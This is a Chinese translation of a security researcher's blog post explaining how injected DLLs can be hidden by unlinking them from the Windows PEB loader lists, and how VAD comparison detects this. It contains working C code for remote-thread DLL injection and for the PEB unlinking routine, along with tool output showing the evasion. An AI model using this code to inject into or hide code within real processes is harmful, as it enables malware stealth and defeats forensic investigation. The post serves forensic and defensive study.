隐藏在众目睽睽之下:从PEB中解除恶意DLL的链接
在这篇文章中,我们将探讨一种恶意软件可以利用的反取证技术,用于隐藏注入的DLL。我们将深入探讨Windows进程环境块(PEB)的具体细节,以及如何滥用它来隐藏已加载的恶意DLL。
背景:您可能想知道,如果我最近更专注于云安全,为什么您会读到一篇关于Windows内部结构的文章。我最初是在三年前,即2020年4月,写了这篇博客文章。我当时在解释为什么Process Hacker会检测到本文描述的DLL解除链接技术时遇到了困难,所以我停止了写作,从未发表它。昨天在KubeCon上,我和很棒的Brad Geesaman共进晚餐,他鼓励我发表它。感谢Brad让我更进一步!
免责声明:我们在本文中讨论的技术并不新颖。事实上,它可能已经有十多年的历史了。话虽如此,我未能找到任何关于如何在实践中使用它的可操作且详细的文章,所以这篇文章记录了我的探索历程!
DLL注入回顾(T1055.001)
DLL注入是许多恶意软件和威胁行为者使用的常见技术。有多种DLL注入技术,我们将重点讨论"经典"的DLL注入,即恶意进程将磁盘上存在的DLL注入到目标进程中。一个更隐蔽和复杂的变种是反射式DLL注入。另一个非常流行的技术是DLL搜索顺序劫持。
DLL注入101
恶意进程通常执行"经典DLL注入"的步骤如下:
- 确保要注入的DLL存在于磁盘上
- 使用
OpenProcess
获取要注入的进程的句柄
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
- 在目标进程的内存空间中分配一个可读写的内存区域,并将要注入的DLL路径写入其中
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL)
- 检索
LoadLibaryA
函数的地址。(注意,这可以在恶意进程的上下文中完成,因为在Windows上,ASLR将kernel32.dll
映射到所有进程的相同(虚拟)基地址,直到下次重启)
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
- 使用
CreateRemoteThread
在目标进程中创建一个线程,将LoadLibraryA
的地址作为入口点,将要注入的DLL的地址作为参数传递。
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, // 安全属性0, // 堆栈大小(LPTHREAD_START_ROUTINE) load_library_addr, targetDataPage, 0, // 创建标志&threadId
);
这将导致在目标进程中生成一个新线程,并基本上调用LoadLibraryA("C:\\Windows\\Temp\\malicious.dll")
,触发恶意DLL的入口点。
完整示例代码在此。
DLL
要注入的DLL可以在诸如Visual Studio之类的IDE中编译。当Windows在我们调用CreateRemoteThread
后将其加载到目标进程中时,它会自动调用其DllMain
函数并带上DLL_PROCESS_ATTACH
标志。以下是DLL代码的一个最小示例,假设它什么都不做5分钟然后退出。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {if (event == DLL_PROCESS_ATTACH) {for (int i = 0; i < 300; ++i) {Sleep(1000);}}return true;
}
检测DLL注入
这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序(比如MS Paint)中,并使用Process Explorer、Process Hacker或ListDLLs检查它,我们可以清楚地看到恶意DLL:
# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000 0xb000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist
轻松看到该DLL:
$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
mspaint.exe pid: 9340
Command line : mspaintBase Path
------------ ----
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
一个常见的警告
当使用volatility的dlllist
命令时,您可能会遇到这个警告:
"
dlllist
模块将不再看到从LDR列表中解除链接的DLL" (链接)
"考虑到恶意软件可以解除链接、更改名称或替换系统的库" (链接)
我几年前在阿姆斯特丹参加的SANS FOR508也提到了"DLL解除链接"的概念。不幸的是,我找不到任何关于实现如何在实践中工作的实际代码或解释。所以让我们直接深入探讨吧!
展示你的DLL,我就能告诉你你是谁
恶意软件作者显然有兴趣将他们注入的恶意DLL从分析工具(如DllList或Volatility)中隐藏起来。为了理解如何隐藏,我们首先尝试理解它们如何列出进程加载的DLL!
从PEB枚举DLL
大多数工具使用PEB,这是一个内核在每个进程创建时在其虚拟内存空间中填充的数据结构。PEB包含(除其他外)一个指向PEB_LDR_DATA
结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY
元素的双向链表:
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleList
这3个列表中的每一个都包含相同的条目,但顺序不同,正如它们的名称所示。例如,InLoadOrderModuleList
是一个双向链表,包含按加载顺序排列的DLL。这些链表的链接方式起初看起来有点令人困惑,至少对我来说是这样。本质上,每个元素使用一个名为In{Load,Memory,Initialization}OrderLinks
的链接属性链接到每个列表中,该属性包含一个指向前一个元素的向后指针(Blink
)和一个指向下一个元素的向前指针(Flink
)。链接和数据结构如下所示:(完整分辨率可下载版本在此)
要迭代所有加载的DLL,我们需要从PEB检索我们想要使用的列表的指针,比如InMemoryOrderModuleList
。然后,我们使用每个条目的Flink
指针迭代条目。注意,Flink
指针将指向下一个条目的InMemoryOrderLinks
结构——我们仍然需要从这个地址减去相关的偏移量以到达LDR_DATA_TABLE_ENTRY
结构的开头,这在上面的图表中非常明显——为了做到这一点,我们可以使用CONTAINING_RECORD
辅助宏。
// 通过读取FS或GS寄存器返回指向PEB的指针
// 参考:https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB* get_peb() {
#ifdef _WIN64return (PEB*) __readgsqword(0x60);
#elsereturn (PEB*) __readfsdword(0x30);
#endif
}// 打印当前进程中加载的DLL列表
void list_dlls(void) {PEB* peb = get_peb();LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;LIST_ENTRY* first = current;while (current->Flink != first) {// current->Flink 指向我们想要到达的LDR_DATA_TABLE_ENTRY的'InMemoryOrderLinks'字段// 我们使用CONTAINING_RECORD从这个指针减去适当的偏移量以到达结构的开头LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);current = current->Flink;}
}
如果我们将这段代码包含在我们的恶意DLL中,将其注入到mspaint.exe
中,并将输出写入文件而不是使用printf
,我们得到:
C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000
....
C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
InInitializationOrder 和 InLoadOrder 列表
现在——正如您在上面的代码中看到的,我们使用了InMemoryOrderModuleList
双向链表。我们可以使用另外两个吗?可以,但需要额外的工作。事实上,如果您查看winternl.h
公开的PEB_LDR_DATA
和LDR_DATA_TABLE_ENTRY
结构字段,您会发现它只公开了InMemoryOrderModuleList
(链表头)和InMemoryOrderLinks
(条目的链接):
// 主要的PEB加载器数据结构
struct PEB_LDR_DATA {BYTE Reserved1[8];PVOID Reserved2[3];LIST_ENTRY InMemoryOrderModuleList;
};// 对应每个已加载DLL的数据结构
struct LDR_DATA_TABLE_ENTRY {PVOID Reserved1[2];LIST_ENTRY InMemoryOrderLinks;PVOID Reserved2[2];PVOID DllBase;PVOID EntryPoint;...
};
Reserved
字段名称表明,出于某种原因,Microsoft不希望人们使用它们——可能是出于稳定性原因,因为这些都是内部数据结构。话虽如此,通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY
结构,以便也能在我们的代码中使用另外两个链表——我们后面会需要这个。
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;LIST_ENTRY InInitializationOrderLinks;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING ignored;ULONG Flags;SHORT LoadCount;SHORT TlsIndex;LIST_ENTRY HashTableEntry;ULONG TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;
假设我们现在想要访问InLoadOrderModuleList
链表,我们现在可以通过以下方式实现:
- 访问
InMemoryOrderModuleList
的第一个元素 - 使用其
InLoadOrderLinks
链接结构
示例,与前面的示例非常相似,但使用InLoadOrderModuleList
和InLoadOrderLinks
链接结构:
void list_dlls_with_init_order_chaining(void) {PEB* peb = get_peb();// 按内存顺序检索条目LIST_ENTRY* inMemoryOrderList = &peb->Ldr->InMemoryOrderModuleList;MY_LDR_DATA_TABLE_ENTRY* firstInMemoryEntry = CONTAINING_RECORD(inMemoryOrderList, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);// 然后使用'按加载顺序'的链接链来迭代DLLLIST_ENTRY* current = &firstInMemoryEntry->InLoadOrderLinks;LIST_ENTRY* first = current;while (current->Flink != first) {MY_LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);printf("%wZ loaded\n", entry->FullDllName);current = current->Flink;}
}
旁注:这并不理想,因为当我们迭代这个列表时,我们不会从它的第一个元素开始。相反,我们将从InMemoryOrderModuleList
的第一个元素开始,然后只按正确的顺序继续。(要正确地做到这一点,我们需要用适当的字段重新定义PEB_LDR_DATA
,但我没有做到——而且,我们这里不需要它。)
反取证技术:从PEB中解除恶意DLL的链接
现在我们正确理解了某些取证检查工具如何列出进程中的DLL,我们可以研究如何隐藏它们。
想法很简单:
- 迭代PEB中包含已加载DLL列表的其中一个链表
- 当我们找到我们的恶意DLL时,将其从这些链表中解除链接
最终我们的PEB将如下所示:(完整尺寸在此)
请注意,DLL malicious.dll
的条目仍然在内存中,但不再在任何链表中了吗?
执行解除链接的代码复现如下。
void unlink_peb(void) {PEB* peb = get_peb();LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;LIST_ENTRY* first = current;while (current->Flink != first) {MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);char dllName[256];snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {// 找到DLL!将其从3个双向链表中解除链接entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;return;}current = current->Flink;}
}
现在如果我们使用ListDLLs搜索我们的恶意DLL会发生什么?
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>
它找不到它。如果我们获取机器的内存镜像,Volatility的dlllist
呢?
$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$
一样。这是预期的——以下是Volatility文档关于dlllist
的说法:
要显示进程加载的DLL,请使用
dlllist
命令。它遍历由PEB的InLoadOrderModuleList
指向的_LDR_DATA_TABLE_ENTRY
结构的双向链表。
我们正是将我们的DLL从InLoadOrderModuleList
中解除链接了,这解释了为什么dlllist
现在找不到它。
检测DLL解除链接
在分析内存转储时,我们感兴趣的有两件事:
- 查找进程加载的所有DLL,即使它已被解除链接
- 理解我们找到的DLL是否已从PEB双向链表中解除链接。在取证调查中,这至关重要,因为它表明攻击者或恶意软件正试图在系统上隐藏。
为此,我们可以使用VAD(虚拟地址描述符),这是一个低级内核数据结构,用于跟踪内存区域如何映射到特定进程和DLL。当恶意行为者从PEB(在用户空间)解除DLL的链接时,这不会影响VAD。因此,我们可以比较PEB中引用的DLL与VAD中的DLL,看看是否存在差异。
一些流行工具使用VAD,将能捕获到已解除链接的DLL:
- Process Hacker。因为它似乎使用PEB来列出DLL,这让我感到惊讶。最有可能的是,它实际上安装了一个内核驱动程序,并同时利用了VAD。
- Volatility的
malfind
。它在底层使用ldrmodules
来查看VAD中是否存在不在PEB中的DLL。
实际中的DLL解除链接
虽然DLL解除链接似乎被频繁提及,但我只在实际中找到一个例子:Flame蠕虫(另一个分析在此),Stuxnet的一个变种。可能还有更多,我没有花太多时间寻找。如果您有更多例子,请告诉我!
未来研究
截至2023年,我专注于云和容器安全,在可预见的未来不太可能专注于Windows安全或取证。话虽如此,有一些我想尝试的事情——如果您对此感兴趣,请尝试一下,并在评论中或Twitter上告诉我您发现了什么!这些是我三年前写的笔记摘录,所以如果它们不完全合理,请原谅我。
- 如果我们在PEB中覆盖DLL名称,我们能否使加载的DLL看起来像是合法的?
- 如果我们取消映射内存中的DLL,我们能隐藏它吗?
- 我们能否使用内存转储中DLL的打开句柄来识别我们有一个指向不存在且可能已被隐藏的DLL的句柄?
其他有用的资源
- BlackHat Asia 2017 - Evasive Hollow Process Injection
- Difference among dlllist, ldrmodules and vad
- Windows Internals for Malware Analysis
- Malware Analyst's Cookbook (第16章,特别是配方16-2:使用
ldr_modules
检测已解除链接的DLL)
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码